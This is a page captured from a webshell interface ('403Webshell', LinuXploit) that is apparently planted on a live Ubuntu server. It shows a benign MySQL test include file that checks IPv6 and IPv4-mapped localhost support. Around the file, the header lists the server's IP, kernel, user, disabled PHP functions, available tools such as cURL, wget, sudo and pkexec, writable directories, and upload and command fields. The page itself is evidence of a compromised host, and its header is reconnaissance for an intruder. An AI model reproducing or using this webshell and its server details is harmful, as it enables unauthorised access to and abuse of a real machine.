403Webshell
Server IP : 104.21.38.3  /  Your IP : 172.70.147.4
Web Server : Apache
System : Linux krdc-ubuntu-s-2vcpu-4gb-amd-blr1-01.localdomain 5.15.0-142-generic #152-Ubuntu SMP Mon May 19 10:54:31 UTC 2025 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/server/mysql/src/mysql-test/suite/perfschema/include/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/server/mysql/src/mysql-test/suite/perfschema/include/socket_ipv6.inc
#==============================================================================
# Set IP address defaults with respect to IPV6 support
#
# This file determines the level of support for IPV4, IPV4 mapped or IPV6, then
# sets the appropriate localhost IP format to use for 'connect()' commands.
#
# Input:  $my_socket_debug - Print results of IP version check (optional)
# Output: $my_localhost    - Default localhost IP
#==============================================================================

let $check_ipv6_just_check= 1;
#--source include/check_ipv6.inc

#==============================================================================
# Determine if IPV6 supported
#
# Parameters:
#  $check_ipv6_just_check - Don't skip the test if IPv6 is unsupported,
#                           just set the variable $check_ipv6_supported
#==============================================================================
--disable_query_log
--disable_result_log
--disable_abort_on_error

let $check_ipv6_supported= 1;

connect (checkcon123456789,::1,root,,test);

if($mysql_errno)
{
  let $check_ipv6_supported=0;
  if(!$check_ipv6_just_check)
  {
    skip No IPv6 support;
  }
}

if(!$mysql_errno)
{
  disconnect checkcon123456789;
  --source include/wait_until_disconnected.inc
}

connection default;

--enable_abort_on_error
--enable_result_log
--enable_query_log

#==============================================================================
#
# Determine if IPV4 mapped to IPV6 supported
#
let $check_ipv4_mapped_just_check= 1;
#--source include/check_ipv4_mapped.inc
#==============================================================================
# Check if ipv4 mapped to ipv6 is available.
#
# Parameters:
#  $check_ipv4_mapped_just_check - Don't skip the test if IPv4 mapped is unsupported,
#                                  just set the variable $check_ipv4_mapped_supported
#==============================================================================
--disable_query_log
--disable_result_log
--disable_abort_on_error

let $check_ipv4_mapped_supported= 1;

connect (checkcon123456789a,::FFFF:127.0.0.1,root,,test);

if($mysql_errno)
{
  let $check_ipv4_mapped_supported=0;
  if(!$check_ipv4_mapped_just_check)
  {
    skip No mapped IPv4 support;
  }
}

if(!$mysql_errno)
{
  disconnect checkcon123456789a;
  --source include/wait_until_disconnected.inc
}

connection default;

--enable_abort_on_error
--enable_result_log
--enable_query_log

#==============================================================================
# Set the localhost IP default to use when establishing connections
#
#==============================================================================
let $my_localhost=127.0.0.1;

if($check_ipv6_supported)
{
  let $my_localhost=::1;
}

if($check_ipv4_mapped_supported)
{
  let $my_localhost=::ffff:127.0.0.1;
}

if($my_socket_debug)
{
  --echo IPV6=$check_ipv6_supported, IPV4_MAPPED=$check_ipv4_mapped_supported, LOCALHOST=$my_localhost
}
#==============================================================================


Youez - 2016 - github.com/yon3zu
LinuXploit